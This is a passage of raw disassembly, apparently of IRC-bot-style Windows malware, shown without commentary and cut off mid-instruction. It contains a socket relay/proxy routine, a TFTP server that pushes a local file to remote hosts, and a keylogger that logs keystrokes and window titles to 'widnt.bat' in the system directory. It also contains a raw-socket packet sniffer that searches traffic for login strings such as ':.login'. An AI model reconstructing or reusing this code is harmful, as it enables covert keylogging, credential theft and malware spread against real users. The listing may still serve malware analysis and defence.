ds:dword_42708C ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_434C1C ; "-" push eax ; Dest call _sprintf add esp, 0Ch jmp loc_4112A9 ; --------------------------------------------------------------------------- loc_411370: ; CODE XREF: sub_4111CE+7Bj ; sub_4111CE+8Cj push edi call dword_4CB6EC ; closesocket push [ebp+var_40] lea eax, [ebp+Source] push offset asc_434BE8 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_4113B3 push esi ; int lea eax, [ebp+Source] push [ebp+var_34] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_D4] ; int call sub_409A73 add esp, 14h loc_4113B3: ; CODE XREF: sub_4111CE+1C3j lea eax, [ebp+Source] push eax call sub_4151AD push [ebp+var_3C] call sub_40B413 pop ecx pop ecx push esi call ds:dword_4270CC ; ExitThread pop edi pop esi pop ebx sub_4111CE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4113D3 proc near ; DATA XREF: sub_4111CE+14Fo var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_4D0 = byte ptr -4D0h var_4CF = byte ptr -4CFh var_4CE = word ptr -4CEh var_4CC = dword ptr -4CCh Dst = byte ptr -4C8h var_C8 = byte ptr -0C8h Str2 = byte ptr -44h var_2C = dword ptr -2Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 2Ch mov esi, eax pop ecx lea edi, [ebp+var_C8] rep movsd mov esi, [ebp+var_2C] push 1 mov [ebp+arg_0], esi imul esi, 234h pop edi lea esi, dword_43E59C[esi] mov [eax+0ACh], edi xor ebx, ebx mov eax, [esi] mov [ebp+var_8], 5 mov [ebp+var_5D0], eax lea eax, [ebp+var_8] push eax push ebx lea eax, [ebp+var_5D4] push ebx push eax push ebx mov [ebp+var_4], ebx mov [ebp+var_5D4], edi call dword_4CB63C ; select test eax, eax jnz short loc_411454 push dword ptr [esi] call dword_4CB6EC ; closesocket push [ebp+arg_0] call sub_40B413 pop ecx push ebx call ds:dword_4270CC ; ExitThread loc_411454: ; CODE XREF: sub_4113D3+67j push ebx lea eax, [ebp+var_4D0] push 408h push eax push dword ptr [esi] call dword_4CB66C ; recv test eax, eax jg short loc_411485 push dword ptr [esi] call dword_4CB6EC ; closesocket push [ebp+arg_0] call sub_40B413 pop ecx push ebx call ds:dword_4270CC ; ExitThread loc_411485: ; CODE XREF: sub_4113D3+98j cmp [ebp+var_4D0], 4 jnz loc_41167F cmp [ebp+var_4CF], 1 jnz loc_41167F cmp [ebp+Str2], bl jz short loc_41151B lea eax, [ebp+Str2] push eax ; Str2 lea eax, [ebp+Dst] push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_41151B lea eax, [ebp+Str2] push eax lea eax, [ebp+Dst] push eax ; Args push offset dword_434D20 ; Format call sub_415221 push 400h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Dh call _memset add esp, 18h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4CB6A4 ; send push dword ptr [esi] call dword_4CB6EC ; closesocket push [ebp+arg_0] call sub_40B413 pop ecx push ebx call ds:dword_4270CC ; ExitThread loc_41151B: ; CODE XREF: sub_4113D3+CFj ; sub_4113D3+E5j push 10h ; Size lea eax, [ebp+var_18] push ebx ; Val push eax ; Dst call _memset mov ax, [ebp+var_4CE] add esp, 0Ch mov [ebp+var_16], ax mov eax, [ebp+var_4CC] push 6 push edi push 2 mov [ebp+var_18], 2 mov [ebp+var_14], eax call dword_4CB6D4 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_4115B3 call dword_4CB5E8 ; WSAGetLastError push eax ; Args push offset dword_434CE0 ; Format call sub_415221 push 400h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call _memset add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4CB6A4 ; send push dword ptr [esi] call dword_4CB6EC ; closesocket push [ebp+arg_0] call sub_40B413 pop ecx push ebx call ds:dword_4270CC ; ExitThread loc_4115B3: ; CODE XREF: sub_4113D3+181j lea eax, [ebp+var_18] push 10h push eax push edi call dword_4CB5FC ; connect cmp eax, 0FFFFFFFFh jnz short loc_411622 call dword_4CB5E8 ; WSAGetLastError push eax ; Args push offset dword_434C9C ; Format call sub_415221 push 400h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call _memset add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4CB6A4 ; send push dword ptr [esi] call dword_4CB6EC ; closesocket push [ebp+arg_0] call sub_40B413 pop ecx push ebx call ds:dword_4270CC ; ExitThread loc_411622: ; CODE XREF: sub_4113D3+1F0j push 400h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Ah call _memset add esp, 0Ch lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4CB6A4 ; send push dword ptr [esi] push edi call sub_411697 pop ecx pop ecx push edi call dword_4CB6EC ; closesocket push dword ptr [esi] call dword_4CB6EC ; closesocket push [ebp+arg_0] call sub_40B413 pop ecx push ebx call ds:dword_4270CC ; ExitThread loc_41167F: ; CODE XREF: sub_4113D3+B9j ; sub_4113D3+C6j push dword ptr [esi] call dword_4CB6EC ; closesocket push [ebp+arg_0] call sub_40B413 pop ecx push ebx call ds:dword_4270CC ; ExitThread sub_4113D3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411697 proc near ; CODE XREF: sub_4113D3+286p Dst = byte ptr -504h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi mov esi, 400h loc_4116AD: ; CODE XREF: sub_411697+C5j ; sub_411697+F5j mov [ebp+var_100], ebx mov [ebp+var_104], 1 xor ecx, ecx lea eax, [ebp+var_100] loc_4116C5: ; CODE XREF: sub_411697+3Cj mov edx, [ebp+arg_0] cmp [eax], edx jz short loc_4116D5 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4116C5 loc_4116D5: ; CODE XREF: sub_411697+33j cmp ecx, 1 jnz short loc_4116EA mov [ebp+var_FC], edx mov [ebp+var_104], 2 loc_4116EA: ; CODE XREF: sub_411697+41j push esi ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_104] push edi push edi push edi push eax push edi call dword_4CB63C ; select lea eax, [ebp+var_104] push eax push ebx call dword_4CB540 ; __WSAFDIsSet test eax, eax jz short loc_41174A push edi lea eax, [ebp+Dst] push esi push eax push ebx call dword_4CB66C ; recv cmp eax, 0FFFFFFFFh jz short loc_411792 push edi push eax lea eax, [ebp+Dst] push eax push [ebp+arg_0] call dword_4CB6A4 ; send cmp eax, 0FFFFFFFFh jz short loc_411792 loc_41174A: ; CODE XREF: sub_411697+85j lea eax, [ebp+var_104] push eax push [ebp+arg_0] call dword_4CB540 ; __WSAFDIsSet test eax, eax jz loc_4116AD push edi lea eax, [ebp+Dst] push esi push eax push [ebp+arg_0] call dword_4CB66C ; recv cmp eax, 0FFFFFFFFh jz short loc_411792 push edi push eax lea eax, [ebp+Dst] push eax push ebx call dword_4CB6A4 ; send cmp eax, 0FFFFFFFFh jnz loc_4116AD loc_411792: ; CODE XREF: sub_411697+9Aj ; sub_411697+B1j ... pop edi pop esi pop ebx leave retn sub_411697 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411797 proc near ; CODE XREF: sub_411797:loc_411C08p ; DATA XREF: sub_401ACD+210Eo ... var_87C = dword ptr -87Ch var_878 = dword ptr -878h var_778 = dword ptr -778h var_578 = byte ptr -578h var_577 = byte ptr -577h var_576 = byte ptr -576h var_575 = byte ptr -575h DstBuf = byte ptr -574h var_374 = dword ptr -374h Filename = byte ptr -370h Str = byte ptr -26Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_160 = dword ptr -160h var_15C = byte ptr -15Ch var_DC = dword ptr -0DCh var_D8 = dword ptr -0D8h var_D0 = byte ptr -0D0h var_CF = byte ptr -0CFh var_CE = byte ptr -0CEh var_CD = byte ptr -0CDh Dest = byte ptr -50h var_3C = byte ptr -3Ch var_38 = dword ptr -38h Dst = word ptr -2Ch var_2A = word ptr -2Ah var_28 = dword ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 File = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 87Ch mov edx, [ebp+arg_0] push ebx push esi push edi push 1 xor ebx, ebx pop eax mov ecx, 0A9h mov esi, edx lea edi, [ebp+var_374] push ebx push 2 rep movsd inc [ebp+var_164] push 2 mov [ebp+var_10], eax mov [ebp+var_14], eax mov [ebp+var_8], eax mov [edx+2A0h], eax call dword_4CB6D4 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_411837 push 190h call ds:dword_427078 ; Sleep cmp [ebp+var_D8], ebx jnz short loc_411817 push ebx ; int lea eax, [ebp+var_778] push [ebp+var_DC] ; int push eax ; int lea eax, [ebp+var_15C] push eax ; Str push [ebp+var_374] ; int call sub_409A73 add esp, 14h loc_411817: ; CODE XREF: sub_411797+5Bj lea eax, [ebp+var_778] push eax call sub_4151AD push [ebp+var_168] call sub_40B413 pop ecx pop ecx push ebx call ds:dword_4270CC ; ExitThread loc_411837: ; CODE XREF: sub_411797+48j lea eax, [ebp+var_10] push 4 push eax mov edi, 0FFFFh push 4 push edi push esi call dword_4CB634 ; setsockopt lea eax, [ebp+var_14] push 4 push eax push 0FFFFFFFBh push edi push esi call dword_4CB634 ; setsockopt mov eax, [ebp+var_168] push 10h ; Size imul eax, 234h push ebx ; Val mov dword_43E59C[eax], esi lea eax, [ebp+Dst] push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_160] call dword_4CB654 ; htons mov [ebp+var_2A], ax lea eax, [ebp+Dst] push 10h push eax push esi mov [ebp+var_28], ebx call dword_4CB680 ; bind cmp eax, 0FFFFFFFFh jnz short loc_4118C1 push 1388h call ds:dword_427078 ; Sleep dec [ebp+var_164] push [ebp+arg_0] jmp loc_411C08 ; --------------------------------------------------------------------------- loc_4118C1: ; CODE XREF: sub_411797+10Fj lea eax, [ebp+Filename] push offset aRb ; "rb" push eax ; Filename call _fopen pop ecx cmp eax, ebx pop ecx mov [ebp+File], eax jnz short loc_411927 push 190h call ds:dword_427078 ; Sleep push ebx ; int lea eax, [ebp+var_778] push [ebp+var_DC] ; int push eax ; int lea eax, [ebp+var_15C] push eax ; Str push [ebp+var_374] ; int call sub_409A73 lea eax, [ebp+var_778] push eax call sub_4151AD push [ebp+var_168] call sub_40B413 add esp, 1Ch push ebx call ds:dword_4270CC ; ExitThread loc_411927: ; CODE XREF: sub_411797+142j ; sub_411797+42Bj mov edi, [ebp+arg_0] cmp [edi+2A0h], ebx jz loc_411BCB mov edi, 80h lea eax, [ebp+var_D0] push edi ; Size push ebx ; Val push eax ; Dst mov [ebp+var_1C], 5 mov [ebp+var_18], 1388h mov [ebp+var_878], esi mov [ebp+var_87C], 1 call _memset add esp, 0Ch lea eax, [ebp+var_1C] push eax push ebx lea eax, [ebp+var_87C] push ebx push eax push ebx call dword_4CB63C ; select test eax, eax jle loc_411BBF mov al, byte_43D808 mov ecx, edi mov [ebp+var_578], al xor eax, eax lea edi, [ebp+var_577] mov [ebp+var_C], 10h rep stosd stosw stosb lea eax, [ebp+var_C] push eax lea eax, [ebp+var_3C] push eax push ebx lea eax, [ebp+var_D0] push 80h push eax push esi call dword_4CB62C ; recvfrom push [ebp+var_38] mov [ebp+var_8], eax call dword_4CB6E0 ; inet_ntoa push eax ; Format lea eax, [ebp+Dest] push eax ; Dest call _sprintf cmp [ebp+var_D0], bl pop ecx pop ecx jnz loc_411BA9 cmp [ebp+var_CF], 1 jnz loc_411AAF lea eax, [ebp+Str] push eax ; Str call _strlen push ebx ; Origin push ebx ; Offset push [ebp+File] ; File call _fseek push [ebp+File] ; File lea eax, [ebp+DstBuf] mov [ebp+var_578], bl mov [ebp+var_577], 3 push 200h ; Count push 1 ; ElementSize push eax ; DstBuf mov [ebp+var_576], bl mov [ebp+var_575], 1 call _fread add esp, 20h lea ecx, [ebp+var_3C] mov [ebp+var_8], eax add eax, 4 push [ebp+var_C] push ecx push ebx push eax lea eax, [ebp+var_578] push eax push esi call dword_4CB6B8 ; sendto lea eax, [ebp+Dest] push eax lea eax, [ebp+var_778] push offset aTftpTransferSt ; "Tftp transfer started to: %s" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_D8], ebx jnz short loc_411A9D push ebx ; int lea eax, [ebp+var_778] push [ebp+var_DC] ; int push eax ; int lea eax, [ebp+var_15C] push eax ; Str push [ebp+var_374] ; int call sub_409A73 add esp, 14h loc_411A9D: ; CODE XREF: sub_411797+2E1j lea eax, [ebp+var_778] push eax call sub_4151AD pop ecx jmp loc_411BBF ; --------------------------------------------------------------------------- loc_411AAF: ; CODE XREF: sub_411797+257j cmp [ebp+var_CF], 4 jnz loc_411BA9 mov cl, [ebp+var_CD] mov al, [ebp+var_CE] cmp cl, 0FFh mov [ebp+var_578], bl mov [ebp+var_577], 3 jnz short loc_411AEC inc al xor cl, cl mov [ebp+var_576], al mov [ebp+var_575], bl jmp short loc_411AFA ; --------------------------------------------------------------------------- loc_411AEC: ; CODE XREF: sub_411797+341j inc cl mov [ebp+var_576], al mov [ebp+var_575], cl loc_411AFA: ; CODE XREF: sub_411797+353j movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx mov edi, 200h shl eax, 9 sub eax, edi push ebx ; Origin push eax ; Offset push [ebp+File] ; File call _fseek push [ebp+File] ; File lea eax, [ebp+DstBuf] push edi ; Count push 1 ; ElementSize push eax ; DstBuf call _fread add esp, 1Ch mov edi, eax lea eax, [ebp+var_3C] mov [ebp+var_8], edi push [ebp+var_C] push eax lea eax, [edi+4] push ebx push eax lea eax, [ebp+var_578] push eax push esi call dword_4CB6B8 ; sendto cmp edi, ebx jnz short loc_411BBF lea eax, [ebp+Dest] push eax lea eax, [ebp+var_778] push offset aTftpTransferCo ; "Tftp transfer complete to: %s" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_D8], ebx jnz short loc_411B94 push ebx ; int lea eax, [ebp+var_778] push [ebp+var_DC] ; int push eax ; int lea eax, [ebp+var_15C] push eax ; Str push [ebp+var_374] ; int call sub_409A73 add esp, 14h loc_411B94: ; CODE XREF: sub_411797+3D8j lea eax, [ebp+var_778] push eax call sub_4151AD inc dword_4CE15C pop ecx jmp short loc_411BBF ; --------------------------------------------------------------------------- loc_411BA9: ; CODE XREF: sub_411797+24Aj ; sub_411797+31Fj push [ebp+var_C] lea eax, [ebp+var_3C] push eax push ebx push 9 push offset dword_434D60 push esi call dword_4CB6B8 ; sendto loc_411BBF: ; CODE XREF: sub_411797+1E9j ; sub_411797+313j ... cmp [ebp+var_8], ebx jg loc_411927 mov edi, [ebp+arg_0] loc_411BCB: ; CODE XREF: sub_411797+199j push esi call dword_4CB6EC ; closesocket push [ebp+File] ; File call _fclose dec [ebp+var_164] cmp [edi+2A0h], ebx pop ecx jnz short loc_411BFC push [ebp+var_168] call sub_40B413 pop ecx push ebx call ds:dword_4270CC ; ExitThread loc_411BFC: ; CODE XREF: sub_411797+450j push 3E8h call ds:dword_427078 ; Sleep push edi loc_411C08: ; CODE XREF: sub_411797+125j call sub_411797 pop edi pop esi pop ebx leave retn 4 sub_411797 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_411C14(int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int) sub_411C14 proc near ; CODE XREF: sub_411CF5+B4p ; sub_411CF5+253p Dest = byte ptr -314h Filename = byte ptr -114h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch Str = byte ptr 14h arg_8C = dword ptr 94h arg_90 = dword ptr 98h push ebp mov ebp, esp sub esp, 314h lea eax, [ebp+var_10] push esi push eax call ds:dword_42712C ; GetLocalTime lea eax, [ebp+Filename] push 104h push eax call ds:dword_427074 ; GetSystemDirectoryA lea eax, [ebp+Filename] push offset asc_43554C ; "\\" push eax ; Dest call _strcat lea eax, [ebp+Filename] push offset aWidnt_bat ; "widnt.bat" push eax ; Dest call _strcat lea eax, [ebp+Filename] push offset Mode ; "ab" push eax ; Filename call _fopen mov esi, eax add esp, 18h test esi, esi jnz short loc_411C7B push 1 pop eax jmp short loc_411CF2 ; --------------------------------------------------------------------------- loc_411C7B: ; CODE XREF: sub_411C14+60j movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi ; File call _fprintf push esi ; File call _fclose add esp, 28h cmp [ebp+arg_90], 0 jnz short loc_411CF0 push [ebp+arg_0] lea eax, [ebp+Dest] push offset asc_43551C ; "-" push 200h ; Count push eax ; Dest call __snprintf push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+arg_4] ; int call sub_409A73 add esp, 24h loc_411CF0: ; CODE XREF: sub_411C14+A3j xor eax, eax loc_411CF2: ; CODE XREF: sub_411C14+65j pop esi leave retn sub_411C14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411CF5 proc near ; DATA XREF: sub_401ACD+4509o var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h Dest = byte ptr -4DCh var_2DD = byte ptr -2DDh Dst = byte ptr -2DCh var_DC = byte ptr -0DCh var_D8 = dword ptr -0D8h var_48 = byte ptr -48h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8DCh mov eax, [ebp+arg_0] push ebx push esi push edi and [ebp+var_8DC], 0 push 25h and [ebp+var_4], 0 pop ecx mov esi, eax lea edi, [ebp+var_DC] rep movsd mov dword ptr [eax+90h], 1 mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_8D8] rep stosd call dword_4CB5D8 ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_4CB5F0 ; GetWindowTextA mov ebx, 200h loc_411D50: ; CODE XREF: sub_411CF5+2C7j push 8 call ds:dword_427078 ; Sleep call dword_4CB5D8 ; GetForegroundWindow cmp eax, [ebp+var_8] jz short loc_411DD8 lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_4CB5F0 ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+Dst] push eax ; int lea eax, [ebp+Dest] push offset aSChangedWindow ; "%s (Changed Windows: %s)" push eax ; int call _sprintf sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+Dest] push 25h pop ecx mov edi, esp push eax ; int rep movsd call sub_411C14 mov [ebp+var_4], eax push ebx ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0A4h lea eax, [ebp+Dest] push ebx ; Size push 0 ; Val push eax ; Dst call _memset add esp, 0Ch loc_411DD8: ; CODE XREF: sub_411CF5+6Cj mov [ebp+arg_0], offset aB_0 ; "b" loc_411DDF: ; CODE XREF: sub_411CF5+2BDj push 10h call dword_4CB528 ; GetKeyState movsx esi, ax mov eax, [ebp+arg_0] mov edi, [eax-4] push edi call dword_4CB620 ; GetAsyncKeyState test ah, 80h jz short loc_411E77 push 14h call dword_4CB528 ; GetKeyState test ax, ax jz short loc_411E28 cmp esi, 0FFFFFFFFh jle short loc_411E28 cmp edi, 40h jle short loc_411E28 cmp edi, 5Bh jge short loc_411E28 mov [ebp+edi*4+var_8DC], 1 jmp loc_411FA7 ; --------------------------------------------------------------------------- loc_411E28: ; CODE XREF: sub_411CF5+112j ; sub_411CF5+117j ... push 14h call dword_4CB528 ; GetKeyState test ax, ax jz short loc_411E53 test esi, esi jge short loc_411E67 cmp edi, 40h jle short loc_411E53 cmp edi, 5Bh jge short loc_411E53 mov [ebp+edi*4+var_8DC], 2 jmp loc_411FA7 ; --------------------------------------------------------------------------- loc_411E53: ; CODE XREF: sub_411CF5+13Ej ; sub_411CF5+147j ... test esi, esi jge short loc_411E67 mov [ebp+edi*4+var_8DC], 3 jmp loc_411FA7 ; --------------------------------------------------------------------------- loc_411E67: ; CODE XREF: sub_411CF5+142j ; sub_411CF5+160j mov [ebp+edi*4+var_8DC], 4 jmp loc_411FA7 ; --------------------------------------------------------------------------- loc_411E77: ; CODE XREF: sub_411CF5+105j mov esi, [ebp+edi*4+var_8DC] lea eax, [ebp+edi*4+var_8DC] test esi, esi jz loc_411FA7 and dword ptr [eax], 0 lea eax, [ebp+Dst] cmp edi, 8 push eax ; Str jnz short loc_411EAF call _strlen and [ebp+eax+var_2DD], 0 pop ecx jmp loc_411FA7 ; --------------------------------------------------------------------------- loc_411EAF: ; CODE XREF: sub_411CF5+1A5j call _strlen cmp eax, 1B9h pop ecx jbe short loc_411EE1 call dword_4CB5D8 ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_4CB5F0 ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+Dst] push eax push offset aSBufferFullS ; "%s (Buffer full) (%s)" jmp short loc_411F22 ; --------------------------------------------------------------------------- loc_411EE1: ; CODE XREF: sub_411CF5+1C5j cmp edi, 0Dh jnz loc_411F79 lea eax, [ebp+Dst] push eax ; Str call _strlen test eax, eax pop ecx jz loc_411FA7 call dword_4CB5D8 ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_4CB5F0 ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+Dst] push eax ; int push offset aSReturnS ; "%s (Return) (%s)" loc_411F22: ; CODE XREF: sub_411CF5+1EAj lea eax, [ebp+Dest] push eax ; int call _sprintf sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+Dest] push 25h pop ecx mov edi, esp push eax ; int rep movsd call sub_411C14 mov [ebp+var_4], eax push ebx ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0A4h lea eax, [ebp+Dest] push ebx ; Size push 0 ; Val push eax ; Dst call _memset add esp, 0Ch jmp short loc_411FA7 ; --------------------------------------------------------------------------- loc_411F79: ; CODE XREF: sub_411CF5+1EFj cmp esi, 1 jz short loc_411F92 cmp esi, 3 jz short loc_411F92 cmp esi, 2 jz short loc_411F8D cmp esi, 4 jnz short loc_411FA7 loc_411F8D: ; CODE XREF: sub_411CF5+291j push [ebp+arg_0] jmp short loc_411F99 ; --------------------------------------------------------------------------- loc_411F92: ; CODE XREF: sub_411CF5+287j ; sub_411CF5+28Cj mov eax, [ebp+arg_0] add eax, 7 push eax ; Source loc_411F99: ; CODE XREF: sub_411CF5+29Bj lea eax, [ebp+Dst] push eax ; Dest call _strcat pop ecx pop ecx loc_411FA7: ; CODE XREF: sub_411CF5+12Ej ; sub_411CF5+159j ... add [ebp+arg_0], 14h cmp [ebp+arg_0], offset dword_4354E4 jl loc_411DDF cmp [ebp+var_4], 0 jz loc_411D50 push [ebp+var_D8] call sub_40B413 pop ecx push 0 call ds:dword_4270CC ; ExitThread sub_411CF5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411FD6 proc near ; DATA XREF: sub_401ACD+412Bo var_102B4 = byte ptr -102B4h var_102AB = byte ptr -102ABh var_102A8 = dword ptr -102A8h var_102A0 = dword ptr -102A0h var_10293 = byte ptr -10293h Str = byte ptr -1028Ch Dest = byte ptr -2B4h var_B4 = dword ptr -0B4h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h Dst = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 102B4h call __alloca_probe mov edx, [ebp+arg_0] push esi push edi push 1 pop eax mov esi, edx push 25h lea edi, [ebp+var_B4] pop ecx mov [ebp+var_8], eax rep movsd mov [edx+90h], eax xor esi, esi push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push esi call dword_4CB654 ; htons push [ebp+var_B4] mov [ebp+var_1A], ax call sub_40AC10 pop ecx push eax call dword_4CB694 ; inet_addr push esi push 3 push 2 mov [ebp+var_18], eax call dword_4CB6D4 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jnz short loc_4120AB call dword_4CB5E8 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_435EEC ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_41208E push esi ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+var_B0] push eax ; Str push [ebp+var_B4] ; int call sub_409A73 add esp, 14h loc_41208E: ; CODE XREF: sub_411FD6+96j lea eax, [ebp+Dest] push eax call sub_4151AD push [ebp+var_30] call sub_40B413 pop ecx pop ecx push esi call ds:dword_4270CC ; ExitThread loc_4120AB: ; CODE XREF: sub_411FD6+76j mov eax, [ebp+var_30] push 10h imul eax, 234h mov dword_43E59C[eax], edi lea eax, [ebp+Dst] push eax push edi call dword_4CB680 ; bind cmp eax, 0FFFFFFFFh jnz short loc_412130 call dword_4CB5E8 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_435EC0 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_41210C push esi ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+var_B0] push eax ; Str push [ebp+var_B4] ; int call sub_409A73 add esp, 14h loc_41210C: ; CODE XREF: sub_411FD6+114j lea eax, [ebp+Dest] push eax call sub_4151AD pop ecx push edi call dword_4CB6EC ; closesocket push [ebp+var_30] call sub_40B413 pop ecx push esi call ds:dword_4270CC ; ExitThread loc_412130: ; CODE XREF: sub_411FD6+F4j push esi lea eax, [ebp+var_20] push esi push eax push esi push esi lea eax, [ebp+var_8] push 4 push eax push 98000001h push edi call dword_4CB600 ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_4121B3 call dword_4CB5E8 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_435E90 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_41218F push esi ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+var_B0] push eax ; Str push [ebp+var_B4] ; int call sub_409A73 add esp, 14h loc_41218F: ; CODE XREF: sub_411FD6+197j lea eax, [ebp+Dest] push eax call sub_4151AD pop ecx push edi call dword_4CB6EC ; closesocket push [ebp+var_30] call sub_40B413 pop ecx push esi call ds:dword_4270CC ; ExitThread loc_4121B3: ; CODE XREF: sub_411FD6+177j push ebx mov ebx, offset a_login ; ":.login" loc_4121B9: ; CODE XREF: sub_411FD6+21Bj ; sub_411FD6+22Dj ... mov edi, 0FFFFh lea eax, [ebp+var_102B4] push edi ; Size push esi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_102B4] push esi push edi push eax push [ebp+var_4] call dword_4CB66C ; recv cmp eax, 0FFFFFFFFh jz loc_4122E6 cmp [ebp+var_102AB], 6 jnz short loc_4121B9 mov eax, [ebp+var_102A8] cmp [ebp+var_10293], 18h mov [ebp+var_C], eax jnz short loc_4121B9 lea eax, [ebp+Str] push offset aPsniff_0 ; "[PSNIFF]" push eax ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_4121B9 lea eax, [ebp+Str] push offset asc_435E74 ; "-" push eax ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_4121B9 mov eax, ebx xor edi, edi test eax, eax jz loc_4121B9 mov [ebp+arg_0], ebx loc_412242: ; CODE XREF: sub_411FD6+287j push eax ; SubStr lea eax, [ebp+Str] push eax ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412264 inc edi add [ebp+arg_0], 18h mov eax, [ebp+arg_0] jnz short loc_412242 jmp loc_4121B9 ; --------------------------------------------------------------------------- loc_412264: ; CODE XREF: sub_411FD6+27Dj lea eax, [ebp+Str] push eax push [ebp+var_102A0] call dword_4CB584 ; htons movzx eax, ax push eax push [ebp+var_C] call dword_4CB6E0 ; inet_ntoa push eax lea eax, [edi+edi*2] mov eax, 